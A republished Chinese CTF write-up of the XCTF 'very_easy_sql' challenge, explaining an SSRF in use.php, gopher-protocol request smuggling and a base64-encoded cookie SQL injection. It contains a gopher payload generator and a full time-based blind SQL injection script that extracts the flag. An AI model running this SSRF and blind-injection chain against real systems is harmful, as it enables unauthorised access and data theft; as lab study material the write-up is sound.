• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

xctf:very_easy_sql

武飞扬头像
biddogegg
帮助1

学新通
题目如上,既然这道题的名称就是sql,那么就是让我们找到sql注入点。题目下面介绍说是签到题,我信了,然后我人麻了。。。我以为签到题可能就是注入点直接给我们了,然而并不是,这是一道较为复杂的题,起码对我来说是的。这道题包含gopher协议结合ssrf漏洞的sql注入。
学新通

首先,在页面上有两个输入框,进行尝试了下,发现不是注入点,然后我们看到请求返回包中,存在use.php提示,并且Set-Cookie: this_is_your_cookie=deleted;(后面我们发现此处存在一个大坑。)
学新通
在use.php文件中,发现存在一个远程请求的功能,怀疑此处是ssrf漏洞,使用http协议进行尝试了很多,但没反应。
下一步,使用gopher协议。
在查找gopher协议时,看到一篇文章介绍了一款使用gopher协议注入数据库直接写shell的工具,我试了下,发现依旧不行。

学新通
这是生成的payload,使用这个生成的payload,虽说没有直接获取shell,但有发现,此处确实可以使用gopher协议,且该服务器使用的是MariaDB数据库。
学新通
下一步,使用gopher协议对其进行注入,但重要的问题来了,注入点呢?这个时候就想到了下面这个图
学新通

cookie处应该是注入点。但,麻烦的是怎么生成gopher协议下的正常访问体?并且需要测试cookie处怎么闭合。
找到了一个脚本

import urllib.parse

payload = """
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

uname=admin&passwd=admin
"""
tmp = urllib.parse.quote(payload) #对payload中的特殊字符进行编码
new = tmp.replace('
','
') #CRLFL漏洞
result = 'gopher://127.0.0.1:80/' '_' new
result = urllib.parse.quote(result)# 对新增的部分继续编码
print(result)

上面脚本胜场gopher协议的请求体。
下面是官方write

import requests
import time
import base64

url = "http://61.147.171.105:54616/use.php?url="
flag = ""
for pos in range(1, 50):
    for i in range(33, 127):
        # poc="') union select 1,2,if(1=1,sleep(5),1) # "

        # security
        # poc="') union select 1,2,if(ascii( substr((database())," str(pos) ",1) )=" str(i) ",sleep(2),1) # "

        # flag
        # poc="') union select 1,2,if(ascii( substr((select group_concat(table_name) from information_schema.tables where table_schema=database())," str(pos) ",1) )=" str(i) ",sleep(2),1) # "

        poc = "') union select 1,2,if(ascii( substr((select * from flag),"   str(pos)   ",1) )="   str(
            i)   ",sleep(2),1) # "

        bs = str(base64.b64encode(poc.encode("utf-8")), "utf-8")
        final_poc = "gopher://127.0.0.1:80/_GET /index.php HTTP/1.1%0d%0aHost: localhost:80%0d%0aConnection: close%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aCookie: this_is_your_cookie="   bs   ";%0d%0a"
        t1 = time.time()
        res = requests.get(url   final_poc)
        t2 = time.time()
        if (t2 - t1 > 2):
            flag  = chr(i)
            print(flag)
            break
print(flag)

这个使用的是基于时间的盲注,获取到flag
cookie值是将payload进行base64转码后的值,但这个题目处,并没有任何提示,就很无语。

总体来说,这个题,难度对我来说是比较大的,因为我对于gopher协议接触不多,不太知道gopher协议的用处,不过这次长知识了。

学新通

参考链接

gopher协议总结:https://blog.csdn.net/unexpectedthing/article/details/121667791?spm=1001.2101.3001.6650.5&utm_medium=distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromBaidu~Rate-5-121667791-blog-124758902.pc_relevant_3mothn_strategy_recovery&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromBaidu~Rate-5-121667791-blog-124758902.pc_relevant_3mothn_strategy_recovery&utm_relevant_index=6
SSRF学习(4)Gopher协议POST请求:https://blog.csdn.net/m0_64417923/article/details/124758902

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhgbhjfe
系列文章
更多 icon
同类精品
更多 icon
继续加载